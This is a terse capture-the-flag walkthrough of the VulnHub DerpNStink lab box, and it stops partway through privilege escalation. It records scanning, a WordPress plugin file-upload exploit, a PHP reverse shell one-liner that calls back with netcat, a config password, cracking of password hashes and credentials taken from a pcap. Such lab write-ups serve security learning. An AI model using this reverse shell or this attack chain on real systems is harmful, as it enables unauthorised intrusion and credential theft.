WPSCAN VANE

PHP REVERSE SHELL

CRACK WITH JOHN PHPASS

WIRESHARK PCAP FILE

SUDO -L

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.2

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)

| 2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)

| 256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)

|_ 256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (ED25519)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| http-robots.txt: 2 disallowed entries

|_/php/ /temporary/

|_http-server-header: Apache/2.4.7 (Ubuntu)

|_http-title: DeRPnStiNK

MAC Address: 00:0C:29:51:03:E3 (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/vulnhub/derpnstink# gobuster dir -u http://192.168.2.98/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/weblog (Status: 301)

/php (Status: 301)

/css (Status: 301)

/js (Status: 301)

/javascript (Status: 301)

/temporary (Status: 301)

/server-status (Status: 403)

view-source:http://192.168.2.98/webnotes/

Registrar Abuse Contact Email: stinky@derpnstink.local

view-source:http://192.168.2.98/webnotes/info.txt

<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->

http://derpnstink.local/weblog/

root@kali:/home/kali/Desktop/vulnhub/derpnstink# gobuster dir -u http://derpnstink.local/weblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

http://derpnstink.local/weblog/wp-admin

admin-admin

i] User(s) Identified:

[+] admin

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

[+] unclestinky

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

[!] Title: Slideshow Gallery < 1.4.7 Arbitrary File Upload

https://www.exploit-db.com/exploits/34681

root@kali:/home/kali/Desktop/vulnhub/derpnstink# cat reverse.php

<?php

system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.20 8082 >/tmp/f");

?>

Upload reverse.php to slideshow and start netcat listener

SHELL GAINED!!!!

www-data@DeRPnStiNK:/var/www/html/weblog$ cat wp-config.php

/** MySQL database username */

define('DB_USER', 'root');

/** MySQL database password */

define('DB_PASSWORD', 'mysql');

http://derpnstink.local/php/phpmyadmin/

admin-mysql

unclestinky PBW6NTkFvboVVCHU2R9qmNai1WfHSC41

admin PBgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/

root@kali:/home/kali/Desktop/vulnhub/derpnstink# john creds.txt --wordlist=/usr/share/wordlists/rockyou.txt

www-data@DeRPnStiNK:/home$ su stinky

Password:wedgie57

www-data@DeRPnStiNK:/var/www/html/weblog$ cd /home/

www-data@DeRPnStiNK:/home$ ls

mrderp stinky

www-data@DeRPnStiNK:/home$ su stinky

Password:

stinky@DeRPnStiNK:/home$ ls

mrderp stinky

stinky@DeRPnStiNK:/home$ cd stinky/

stinky@DeRPnStiNK:~$ ls

Desktop Documents Downloads ftp

stinky@DeRPnStiNK:~$ cd Documents/

stinky@DeRPnStiNK:~/Documents$ ls

derpissues.pcap

stinky@DeRPnStiNK:~/Documents$ python -m SimpleHTTPServer 8000

root@kali:/home/kali/Desktop/vulnhub/derpnstink# wget 10.10.10.31:8000/derpissues.pcap

Form item: "pass1" = "derpderpderpderpderpderpderp"

Key: pass1

Value: derpderpderpderpderpderpderp

Form item: "pass1-text" = "derpderpderpderpderpderpderp"

Form item: "pass2" = "derpderpderpderpderpderpderp"

Form item: "pw_weak" = "on"

Form item: "role" = "administrator"

Form item: "createuser" = "Add New User"

stinky@DeRPnStiNK:/home$ su mrderp

Password:

mrderp@DeRPnStiNK:/home$